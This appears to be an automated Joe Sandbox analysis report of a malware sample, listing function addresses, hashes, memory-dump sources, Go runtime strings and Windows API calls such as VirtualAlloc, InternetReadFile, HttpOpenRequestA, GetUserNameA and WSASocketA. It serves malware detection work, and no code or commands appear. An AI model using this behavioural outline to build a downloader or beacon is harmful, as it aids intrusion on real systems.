Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001A2650C034B
InternetReadFile.WININET(000001A2650C0159,000001A2650C0159), ref: 000001A2650C0369

Strings

U.;, xrefs: 000001A2650C0141

Memory Dump Source

Source File: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001A2650C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2650c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: AllocFileInternetReadVirtual
String ID: U.;
API String ID: 3591508208-4213443877
Opcode ID: 384db265c013720a470dfad14405f5eea7b7aafc50a111f5be8b2763f8998fcb
Instruction ID: 96a874139d66f30599ea65fe74018991f1f5b9e21f0893b176538f9ca22a3164
Opcode Fuzzy Hash: 384db265c013720a470dfad14405f5eea7b7aafc50a111f5be8b2763f8998fcb
Instruction Fuzzy Hash: 4A118EB034990D1BF62C81AD7C6677A11CAD3CD715F24812FF50EC32D6DC64CC86801A

Function 000001A2671D3C38 Relevance: 4.7, APIs: 3, Instructions: 190stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001A2671D3DFC: malloc.LIBCMT ref: 000001A2671D3E18

GetUserNameA.ADVAPI32(?,?,?,?,?,?,?,-00000001,00000000,-00000001,00000000,00000000,000001A2671CCBD4), ref: 000001A2671D3CBF

Part of subcall function 000001A2671CE4D4: WSASocketA.WS2_32 ref: 000001A2671CE502

strrchr.LIBCMT ref: 000001A2671D3CFD
_snprintf.LIBCMT ref: 000001A2671D3DAB

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: NameSocketUser_snprintfmallocstrrchr
String ID:
API String ID: 1789932928-0
Opcode ID: 766220dae1a4ddeb9d38a85840c280b4bc6347116f0b0cffea6625f0f3bfed2f
Instruction ID: 31bccabc605f1b47f56ae49367ef1ce087ecaa55c4ed98dc4aff7353a0df3ec8
Opcode Fuzzy Hash: 766220dae1a4ddeb9d38a85840c280b4bc6347116f0b0cffea6625f0f3bfed2f
Instruction Fuzzy Hash: 90516530719A084FEA48AB7CA4567E976D2E799310F10456EE48EC32D7FD38D8038B47

Function 00C628E0 Relevance: 4.0, Strings: 3, Instructions: 273COMMON

Download Yara Rule

Strings

runtime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=not enough significant bits after mult128bitPow10invalid or incomple, xrefs: 00C62D47
self-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timersmultipathtcpnot pollablegotypesaliashttpmuxgo121randautoseedtlsunsaf, xrefs: 00C62D85
runtime.preemptM: duplicatehandle failedstopTheWorld: broken CPU time accountingglobal runq empty with non-zero runqsizemust be able to track idle limiter eventruntime: SyscallN has too many argumentsgoroutine stack size is not a power of 2MapIter.Key called o, xrefs: 00C62D6F

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: runtime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=not enough significant bits after mult128bitPow10invalid or incomple$runtime.preemptM: duplicatehandle failedstopTheWorld: broken CPU time accountingglobal runq empty with non-zero runqsizemust be able to track idle limiter eventruntime: SyscallN has too many argumentsgoroutine stack size is not a power of 2MapIter.Key called o$self-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timersmultipathtcpnot pollablegotypesaliashttpmuxgo121randautoseedtlsunsaf
API String ID: 0-2478092748
Opcode ID: ebece399f27c21ccfb5ac4edd7faf5441ae251cedfbc6886ba6b0fd8bbb284a9
Instruction ID: c234eeb2dba84f25c34e3db1a939a100ae7b99a53857a0b4e28586e5606b9d5d
Opcode Fuzzy Hash: ebece399f27c21ccfb5ac4edd7faf5441ae251cedfbc6886ba6b0fd8bbb284a9
Instruction Fuzzy Hash: 16C16236205F8082D724DF15E48536E7760F78ABA4F159236DAAD977A4DF38C581CB00

Function 00C604C0 Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

powrprof.dll, xrefs: 00C604D9
PowerRegisterSuspendResumeNotification, xrefs: 00C60529

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: PowerRegisterSuspendResumeNotification$powrprof.dll
API String ID: 0-3247360486
Opcode ID: 144a78ea635d02f746ec852fea8271d9e5c1c366ae4d6fd42d8cba24b2f5d2ff
Instruction ID: ec994c786363a0417edb60dc82735bc0756477a6ada68f97b44c74d78e3b1943
Opcode Fuzzy Hash: 144a78ea635d02f746ec852fea8271d9e5c1c366ae4d6fd42d8cba24b2f5d2ff
Instruction Fuzzy Hash: F2214836208B84C2DA10CB11F48531ABBA4F78AB84F589526EA8C57B68DF7DC195CB10

Function 00C55620 Relevance: 1.6, Strings: 1, Instructions: 358COMMON

Download Yara Rule

Strings

grew heap, but no adequate free space foundroot level max pages doesn't fit in summaryruntime.Pinner: argument is not a pointer: runtime: releaseSudog with non-nil gp.paramunknown runnable goroutine during bootstrapruntime: casfrom_Gscanstatus bad oldval gp=ru, xrefs: 00C55BF4

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: grew heap, but no adequate free space foundroot level max pages doesn't fit in summaryruntime.Pinner: argument is not a pointer: runtime: releaseSudog with non-nil gp.paramunknown runnable goroutine during bootstrapruntime: casfrom_Gscanstatus bad oldval gp=ru
API String ID: 0-3252783460
Opcode ID: d7fe03859e367e660f3355dea45e87d5ee9f66747a07ceb864a90b9bdd1d8248
Instruction ID: b4b6c3ae7a31c373a6e0729a891cdc1dc5c8b765e761d79716b6f38b453744e7
Opcode Fuzzy Hash: d7fe03859e367e660f3355dea45e87d5ee9f66747a07ceb864a90b9bdd1d8248
Instruction Fuzzy Hash: ABE18F76219BC486DB20CF26E49035ABB61F789BD1F088516EE9D43B69CF38C599CB04

Function 00C42700 Relevance: 1.5, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incor, xrefs: 00C428A4

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incor
API String ID: 0-1712010102
Opcode ID: cf422b3d23f67c5c82dbd9d8d7da77c3844d5aab383050269c6c2620246c35ed
Instruction ID: 8146b5e22f15f9b287d411799511d1cba2d485bcf310563a214ec5cb7906b82c
Opcode Fuzzy Hash: cf422b3d23f67c5c82dbd9d8d7da77c3844d5aab383050269c6c2620246c35ed
Instruction Fuzzy Hash: 51B1E232209B8186DF14DF15E48236EB7A5F784B94F484526FB9E03BA9DF38C985DB10

Function 00C73AC0 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edc22016887272aaecbbcedb30b1ea6b87dfea788e752952554faed1e4180658
Instruction ID: 9617f8cbb6087b250250314b7ca968f9618727090511a1dc301ed356471e40b0
Opcode Fuzzy Hash: edc22016887272aaecbbcedb30b1ea6b87dfea788e752952554faed1e4180658
Instruction Fuzzy Hash: 82C1BD32309BC496DB14DF55F49136AB760F78AB80F149526EA8E87768DF7CCA40EB00

Function 00C6C8C0 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a551a1d2a165144d53e4c04e9b5664ba047d2c8d1571f88749b0b8c8a62f7687
Instruction ID: f025ff20b5c8ab9e204730c7ca57fc5b33ec3f05cac9661703801d252ae1f9cd
Opcode Fuzzy Hash: a551a1d2a165144d53e4c04e9b5664ba047d2c8d1571f88749b0b8c8a62f7687
Instruction Fuzzy Hash: 39913332B016418ADB209F95E8D03797761F789B84F49E036CADE47325DF39CA85D780

Function 00C54800 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b9940c7ed3fd8e364d59eea72cfd43d6e8fa73f600f797e07bded86c963fc0f
Instruction ID: e91ced2279190d79d6db16bd9a317c9704d12b46a6a70a234db7113814729d64
Opcode Fuzzy Hash: 4b9940c7ed3fd8e364d59eea72cfd43d6e8fa73f600f797e07bded86c963fc0f
Instruction Fuzzy Hash: 6A41837A304B8591DB48CB1AE4813DA2752F785BC4F819072AE0F5772ADF78C64AC340

Function 00C60B00 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acdc0c94d5039c98161cc330ef03e17ac9a1c6066bef92c0a92c639b29581cd9
Instruction ID: 8adf6edad72ddf649b5c6816a12f6bdae8a1b72cec45a07aab649b8c7b51fcf5
Opcode Fuzzy Hash: acdc0c94d5039c98161cc330ef03e17ac9a1c6066bef92c0a92c639b29581cd9
Instruction Fuzzy Hash: 04214136508B84C6D720EF21F88632B7BA0F746B54F119722E9AC537A2DF38C551DB50

Function 000001A2671CDC54 Relevance: 10.7, APIs: 7, Instructions: 239
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_snprintf.LIBCMT ref: 000001A2671CDCED

Part of subcall function 000001A2671DA1AC: _errno.LIBCMT ref: 000001A2671DA1E3
Part of subcall function 000001A2671DA1AC: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA1EE

_snprintf.LIBCMT ref: 000001A2671CDD47
_snprintf.LIBCMT ref: 000001A2671CDD5E
HttpOpenRequestA.WININET ref: 000001A2671CDDA3
InternetQueryDataAvailable.WININET ref: 000001A2671CDE04
InternetCloseHandle.WININET ref: 000001A2671CDE22

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _snprintf$Internet$AvailableCloseDataHandleHttpOpenQueryRequest_errno_invalid_parameter_noinfo
String ID:
API String ID: 1006711554-0
Opcode ID: 470660bebc142266946b68d3a71e46bc00253fb1880547bd848c04e6101aecae
Instruction ID: e801ace28c01247ef4dbf4038876bd83ea48358bb7e88b2c480a151eb4fc1537
Opcode Fuzzy Hash: 470660bebc142266946b68d3a71e46bc00253fb1880547bd848c04e6101aecae
Instruction Fuzzy Hash: 7A71B83171DA488BE758EB68E8457EE73E5FB95311F10456EE88EC3191FE34D9018B82

Function 000001A2671CCA74 Relevance: 7.8, APIs: 6, Instructions: 289
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001A2671D3DFC: malloc.LIBCMT ref: 000001A2671D3E18

malloc.LIBCMT ref: 000001A2671CCB44

Part of subcall function 000001A2671D9DF0: _FF_MSGBANNER.LIBCMT ref: 000001A2671D9E20
Part of subcall function 000001A2671D9DF0: _NMSG_WRITE.LIBCMT ref: 000001A2671D9E2A
Part of subcall function 000001A2671D9DF0: _callnewh.LIBCMT ref: 000001A2671D9E5E
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E69
Part of subcall function 000001A2671D9DF0: _errno.LIBCMT ref: 000001A2671D9E74

malloc.LIBCMT ref: 000001A2671CCBBB
_snprintf.LIBCMT ref: 000001A2671CCC14
_snprintf.LIBCMT ref: 000001A2671CCC3F
_snprintf.LIBCMT ref: 000001A2671CCC66

Part of subcall function 000001A2671D4704: free.LIBCMT ref: 000001A2671D4BFF
Part of subcall function 000001A2671D4704: free.LIBCMT ref: 000001A2671D4C11

free.LIBCMT ref: 000001A2671CCDAF

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _snprintffreemalloc$_errno$_callnewh
String ID:
API String ID: 225687405-0
Opcode ID: 21f0a3d78faee6f270c165c3a141f7caedb6dcce450be422ffced7e9f245609f
Instruction ID: b6e949422b082bf7b06da3212e52332de167e2c0ed86c999063c7cd9cf5479a4
Opcode Fuzzy Hash: 21f0a3d78faee6f270c165c3a141f7caedb6dcce450be422ffced7e9f245609f
Instruction Fuzzy Hash: 3CA153307176044BFB58FBACA4567F97292EB96310F4041AAEC4EC32D7FE3899059A47

Function 000001A2650C00D2 Relevance: 6.3, APIs: 2, Strings: 1, Instructions: 1048
librarynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001A2650C00ED
InternetOpenA.WININET(00000000,00000000), ref: 000001A2650C0105

Strings

wini, xrefs: 000001A2650C00D6

Memory Dump Source

Source File: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001A2650C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2650c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: InternetLibraryLoadOpen
String ID: wini
API String ID: 2559873147-1606035523
Opcode ID: 2c9e6f1fa3b6291f163a37843fb5f5126e568609ac406a600087fcc30f69cc67
Instruction ID: 402c8840cac835ca828ab64a0089c0e77b60b98199b232286812f6142aa9e893
Opcode Fuzzy Hash: 2c9e6f1fa3b6291f163a37843fb5f5126e568609ac406a600087fcc30f69cc67
Instruction Fuzzy Hash: 04F08BF235F65497F11C9AB85A2B7BE254AD70B704F26426FE98A86AE3DD70CD048007

Function 000001A2671CE4D4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketA.WS2_32 ref: 000001A2671CE502
WSAIoctl.WS2_32 ref: 000001A2671CE54F

Strings

_Cy, xrefs: 000001A2671CE561

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: IoctlSocket
String ID: _Cy
API String ID: 1409745359-1085951347
Opcode ID: 79451d30574e726844a270ab3b0fa85cc447cc4784d759c6199925f4c9035044
Instruction ID: 11c69d69bd0a8220770ee0f70865a306ee00d697fa42c72ce59c04d66bfd1c7b
Opcode Fuzzy Hash: 79451d30574e726844a270ab3b0fa85cc447cc4784d759c6199925f4c9035044
Instruction Fuzzy Hash: 4A31053460DA888BD754DF6CA8853AAB7E1FBA9315F10067EE94EC3191FB78C9058742

Function 000001A2671CDFD4 Relevance: 1.7, APIs: 1, Instructions: 157networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

InternetOpenA.WININET ref: 000001A2671CE091

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 6ed847c5bc249d9782344f0385f735d92655da94912b89e502175794c8fc6f00
Instruction ID: ce45c8000d57034303bbe983bc7e56f060e10673faeaefdfa9959b8ab4d7ca89
Opcode Fuzzy Hash: 6ed847c5bc249d9782344f0385f735d92655da94912b89e502175794c8fc6f00
Instruction Fuzzy Hash: B351CA3031A7048FEB59EF5CE4567A973D5F789300F10516EE84BC32D2FA789A068B82

Function 00C9EDE0 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE ref: 00C9EE87

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
